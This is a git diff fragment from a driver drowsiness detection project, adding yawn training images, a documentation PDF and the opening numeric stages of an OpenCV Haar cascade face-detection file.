new file mode 100644 index 00000000..9e8c71e4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/677.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/679.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/679.jpg new file mode 100644 index 00000000..ab694037 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/679.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/68.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/68.jpg new file mode 100644 index 00000000..80698f4d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/68.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/680.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/680.jpg new file mode 100644 index 00000000..ef554d74 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/680.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/682.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/682.jpg new file mode 100644 index 00000000..9d513887 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/682.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/683.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/683.jpg new file mode 100644 index 00000000..c7528eec Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/683.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/684.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/684.jpg new file mode 100644 index 00000000..f7fb30fe Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/684.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/685.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/685.jpg new file mode 100644 index 00000000..076ee142 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/685.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/687.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/687.jpg new file mode 100644 index 00000000..06447e4f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/687.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/688.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/688.jpg new file mode 100644 index 00000000..bf6ab49d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/688.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/689.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/689.jpg new file mode 100644 index 00000000..a0c62f44 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/689.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/69.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/69.jpg new file mode 100644 index 00000000..975be7a2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/69.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/691.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/691.jpg new file mode 100644 index 00000000..2e3b1405 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/691.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/692.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/692.jpg new file mode 100644 index 00000000..372b9ede Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/692.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/693.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/693.jpg new file mode 100644 index 00000000..ddf7bf27 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/693.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/694.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/694.jpg new file mode 100644 index 00000000..7de9bb3b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/694.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/696.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/696.jpg new file mode 100644 index 00000000..9468dc2c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/696.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/697.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/697.jpg new file mode 100644 index 00000000..35bd0684 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/697.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/698.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/698.jpg new file mode 100644 index 00000000..4f1ac69f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/698.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/699.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/699.jpg new file mode 100644 index 00000000..b20b9f18 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/699.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/7.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/7.jpg new file mode 100644 index 00000000..734fddce Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/7.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/70.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/70.jpg new file mode 100644 index 00000000..b021c4e2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/70.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/700.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/700.jpg new file mode 100644 index 00000000..fcb00890 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/700.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/701.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/701.jpg new file mode 100644 index 00000000..db1e7050 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/701.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/702.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/702.jpg new file mode 100644 index 00000000..ddd8795f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/702.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/703.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/703.jpg new file mode 100644 index 00000000..764fa4bc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/703.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/704.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/704.jpg new file mode 100644 index 00000000..d5942eec Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/704.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/705.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/705.jpg new file mode 100644 index 00000000..b5f8c7d9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/705.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/706.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/706.jpg new file mode 100644 index 00000000..68015f76 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/706.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/708.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/708.jpg new file mode 100644 index 00000000..86030c44 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/708.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/71.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/71.jpg new file mode 100644 index 00000000..9d9c91a4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/71.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/710.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/710.jpg new file mode 100644 index 00000000..48bf2f07 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/710.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/712.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/712.jpg new file mode 100644 index 00000000..a2adfa63 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/712.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/713.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/713.jpg new file mode 100644 index 00000000..94fdcdd0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/713.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/714.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/714.jpg new file mode 100644 index 00000000..6a73692a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/714.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/716.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/716.jpg new file mode 100644 index 00000000..dc87b3f3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/716.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/717.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/717.jpg new file mode 100644 index 00000000..3d3df5a4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/717.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/718.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/718.jpg new file mode 100644 index 00000000..048b7e7a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/718.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/72.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/72.jpg new file mode 100644 index 00000000..027b0c31 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/72.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/722.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/722.jpg new file mode 100644 index 00000000..0ebd6c72 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/722.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/723.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/723.jpg new file mode 100644 index 00000000..300cad42 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/723.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/724.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/724.jpg new file mode 100644 index 00000000..4d1d355a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/724.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/726.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/726.jpg new file mode 100644 index 00000000..ce4cfc11 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/726.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/73.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/73.jpg new file mode 100644 index 00000000..01586774 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/73.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/74.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/74.jpg new file mode 100644 index 00000000..be55ba42 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/74.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/75.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/75.jpg new file mode 100644 index 00000000..9859ea67 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/75.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/76.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/76.jpg new file mode 100644 index 00000000..335dfc09 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/76.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/77.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/77.jpg new file mode 100644 index 00000000..7747c9cd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/77.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/78.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/78.jpg new file mode 100644 index 00000000..37f7594f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/78.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/79.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/79.jpg new file mode 100644 index 00000000..7b1b2a44 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/79.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/8.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/8.jpg new file mode 100644 index 00000000..a06cc511 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/8.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/80.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/80.jpg new file mode 100644 index 00000000..83f76def Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/80.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/82.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/82.jpg new file mode 100644 index 00000000..8fff9048 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/82.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/83.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/83.jpg new file mode 100644 index 00000000..12279078 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/83.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/85.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/85.jpg new file mode 100644 index 00000000..406bd7fd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/85.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/87.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/87.jpg new file mode 100644 index 00000000..095b58f6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/87.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/88.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/88.jpg new file mode 100644 index 00000000..7af22160 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/88.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/89.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/89.jpg new file mode 100644 index 00000000..07b1fa44 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/89.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/9.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/9.jpg new file mode 100644 index 00000000..35200c8e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/9.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/90.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/90.jpg new file mode 100644 index 00000000..4be6dcbd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/90.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/91.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/91.jpg new file mode 100644 index 00000000..0a730e22 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/91.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/92.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/92.jpg new file mode 100644 index 00000000..96c0ef4b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/92.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/93.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/93.jpg new file mode 100644 index 00000000..35556b51 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/93.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/94.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/94.jpg new file mode 100644 index 00000000..639daf89 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/94.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/96.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/96.jpg new file mode 100644 index 00000000..5db846be Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/96.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/97.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/97.jpg new file mode 100644 index 00000000..c6710dd9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/97.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/98.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/98.jpg new file mode 100644 index 00000000..b439b9cd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/98.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/99.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/99.jpg new file mode 100644 index 00000000..e37050b2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/yawn/99.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/docs/docs.pdf b/MachineLearning Projects/Driver-Drowsiness-Detection/docs/docs.pdf new file mode 100644 index 00000000..0d751dc2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/docs/docs.pdf differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_frontalface_alt.xml b/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_frontalface_alt.xml new file mode 100644 index 00000000..ade4b212 --- /dev/null +++ b/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_frontalface_alt.xml @@ -0,0 +1,24350 @@ + + + +BOOST + HAAR + 20 + 20 + + 213 + + 0 + 22 + + <_> + 3 + 8.2268941402435303e-01 + + <_> + + 0 -1 0 4.0141958743333817e-03 + + 3.3794190734624863e-02 8.3781069517135620e-01 + <_> + + 0 -1 1 1.5151339583098888e-02 + + 1.5141320228576660e-01 7.4888122081756592e-01 + <_> + + 0 -1 2 4.2109931819140911e-03 + + 9.0049281716346741e-02 6.3748198747634888e-01 + <_> + 16 + 6.9566087722778320e+00 + + <_> + + 0 -1 3 1.6227109590545297e-03 + + 6.9308586418628693e-02 7.1109461784362793e-01 + <_> + + 0 -1 4 2.2906649392098188e-03 + + 1.7958030104637146e-01 6.6686922311782837e-01 + <_> + + 0 -1 5 5.0025708042085171e-03 + + 1.6936729848384857e-01 6.5540069341659546e-01 + <_> + + 0 -1 6 7.9659894108772278e-03 + + 5.8663320541381836e-01 9.1414518654346466e-02 + <_> + + 0 -1 7 -3.5227010957896709e-03 + + 1.4131669700145721e-01 6.0318958759307861e-01 + <_> + + 0 -1 8 3.6667689681053162e-02 + + 3.6756721138954163e-01 7.9203182458877563e-01 + <_> + + 0 -1 9 9.3361474573612213e-03 + + 6.1613857746124268e-01 2.0885099470615387e-01 + <_> + + 0 -1 10 8.6961314082145691e-03 + + 2.8362309932708740e-01 6.3602739572525024e-01 + <_> + + 0 -1 11 1.1488880263641477e-03 + + 2.2235809266567230e-01 5.8007007837295532e-01 + <_> + + 0 -1 12 -2.1484689787030220e-03 + + 2.4064640700817108e-01 5.7870548963546753e-01 + <_> + + 0 -1 13 2.1219060290604830e-03 + + 5.5596548318862915e-01 1.3622370362281799e-01 + <_> + + 0 -1 14 -9.3949146568775177e-02 + + 8.5027372837066650e-01 4.7177401185035706e-01 + <_> + + 0 -1 15 1.3777789426967502e-03 + + 5.9936738014221191e-01 2.8345298767089844e-01 + <_> + + 0 -1 16 7.3063157498836517e-02 + + 4.3418860435485840e-01 7.0600342750549316e-01 + <_> + + 0 -1 17 3.6767389974556863e-04 + + 3.0278879404067993e-01 6.0515749454498291e-01 + <_> + + 0 -1 18 -6.0479710809886456e-03 + + 1.7984339594841003e-01 5.6752568483352661e-01 + <_> + 21 + 9.4985427856445312e+00 + + <_> + + 0 -1 19 -1.6510689631104469e-02 + + 6.6442251205444336e-01 1.4248579740524292e-01 + <_> + + 0 -1 20 2.7052499353885651e-03 + + 6.3253521919250488e-01 1.2884770333766937e-01 + <_> + + 0 -1 21 2.8069869149476290e-03 + + 1.2402880191802979e-01 6.1931931972503662e-01 + <_> + + 0 -1 22 -1.5402400167658925e-03 + + 1.4321430027484894e-01 5.6700158119201660e-01 + <_> + + 0 -1 23 -5.6386279175058007e-04 + + 1.6574330627918243e-01 5.9052079916000366e-01 + <_> + + 0 -1 24 1.9253729842603207e-03 + + 2.6955071091651917e-01 5.7388240098953247e-01 + <_> + + 0 -1 25 -5.0214841030538082e-03 + + 1.8935389816761017e-01 5.7827740907669067e-01 + <_> + + 0 -1 26 2.6365420781075954e-03 + + 2.3093290627002716e-01 5.6954258680343628e-01 + <_> + + 0 -1 27 -1.5127769438549876e-03 + + 2.7596020698547363e-01 5.9566420316696167e-01 + <_> + + 0 -1 28 -1.0157439857721329e-02 + + 1.7325380444526672e-01 5.5220472812652588e-01 + <_> + + 0 -1 29 -1.1953660286962986e-02 + + 1.3394099473953247e-01 5.5590140819549561e-01 + <_> + + 0 -1 30 4.8859491944313049e-03 + + 3.6287039518356323e-01 6.1888492107391357e-01 + <_> + + 0 -1 31 -8.0132916569709778e-02 + + 9.1211050748825073e-02 5.4759448766708374e-01 + <_> + + 0 -1 32 1.0643280111253262e-03 + + 3.7151429057121277e-01 5.7113999128341675e-01 + <_> + + 0 -1 33 -1.3419450260698795e-03 + + 5.9533137083053589e-01 3.3180978894233704e-01 + <_> + + 0 -1 34 -5.4601140320301056e-02 + + 1.8440659344196320e-01 5.6028461456298828e-01 + <_> + + 0 -1 35 2.9071690514683723e-03 + + 3.5942441225051880e-01 6.1317151784896851e-01 + <_> + + 0 -1 36 7.4718717951327562e-04 + + 5.9943532943725586e-01 3.4595629572868347e-01 + <_> + + 0 -1 37 4.3013808317482471e-03 + + 4.1726520657539368e-01 6.9908452033996582e-01 + <_> + + 0 -1 38 4.5017572119832039e-03 + + 4.5097151398658752e-01 7.8014570474624634e-01 + <_> + + 0 -1 39 2.4138500913977623e-02 + + 5.4382127523422241e-01 1.3198269903659821e-01 + <_> + 39 + 1.8412969589233398e+01 + + <_> + + 0 -1 40 1.9212230108678341e-03 + + 1.4152669906616211e-01 6.1998707056045532e-01 + <_> + + 0 -1 41 -1.2748669541906565e-04 + + 6.1910742521286011e-01 1.8849289417266846e-01 + <_> + + 0 -1 42 5.1409931620582938e-04 + + 1.4873969554901123e-01 5.8579277992248535e-01 + <_> + + 0 -1 43 4.1878609918057919e-03 + + 2.7469098567962646e-01 6.3592398166656494e-01 + <_> + + 0 -1 44 5.1015717908740044e-03 + + 5.8708512783050537e-01 2.1756289899349213e-01 + <_> + + 0 -1 45 -2.1448440384119749e-03 + + 5.8809447288513184e-01 2.9795908927917480e-01 + <_> + + 0 -1 46 -2.8977119363844395e-03 + + 2.3733270168304443e-01 5.8766472339630127e-01 + <_> + + 0 -1 47 -2.1610679104924202e-02 + + 1.2206549942493439e-01 5.1942020654678345e-01 + <_> + + 0 -1 48 -4.6299318782985210e-03 + + 2.6312309503555298e-01 5.8174091577529907e-01 + <_> + + 0 -1 49 5.9393711853772402e-04 + + 3.6386200785636902e-01 5.6985449790954590e-01 + <_> + + 0 -1 50 5.3878661245107651e-02 + + 4.3035310506820679e-01 7.5593662261962891e-01 + <_> + + 0 -1 51 1.8887349870055914e-03 + + 2.1226030588150024e-01 5.6134271621704102e-01 + <_> + + 0 -1 52 -2.3635339457541704e-03 + + 5.6318491697311401e-01 2.6427671313285828e-01 + <_> + + 0 -1 53 2.4017799645662308e-02 + + 5.7971078157424927e-01 2.7517059445381165e-01 + <_> + + 0 -1 54 2.0543030404951423e-04 + + 2.7052420377731323e-01 5.7525688409805298e-01 + <_> + + 0 -1 55 8.4790197433903813e-04 + + 5.4356247186660767e-01 2.3348769545555115e-01 + <_> + + 0 -1 56 1.4091329649090767e-03 + + 5.3194248676300049e-01 2.0631550252437592e-01 + <_> + + 0 -1 57 1.4642629539594054e-03 + + 5.4189807176589966e-01 3.0688610672950745e-01 + <_> + + 0 -1 58 1.6352549428120255e-03 + + 3.6953729391098022e-01 6.1128681898117065e-01 + <_> + + 0 -1 59 8.3172752056270838e-04 + + 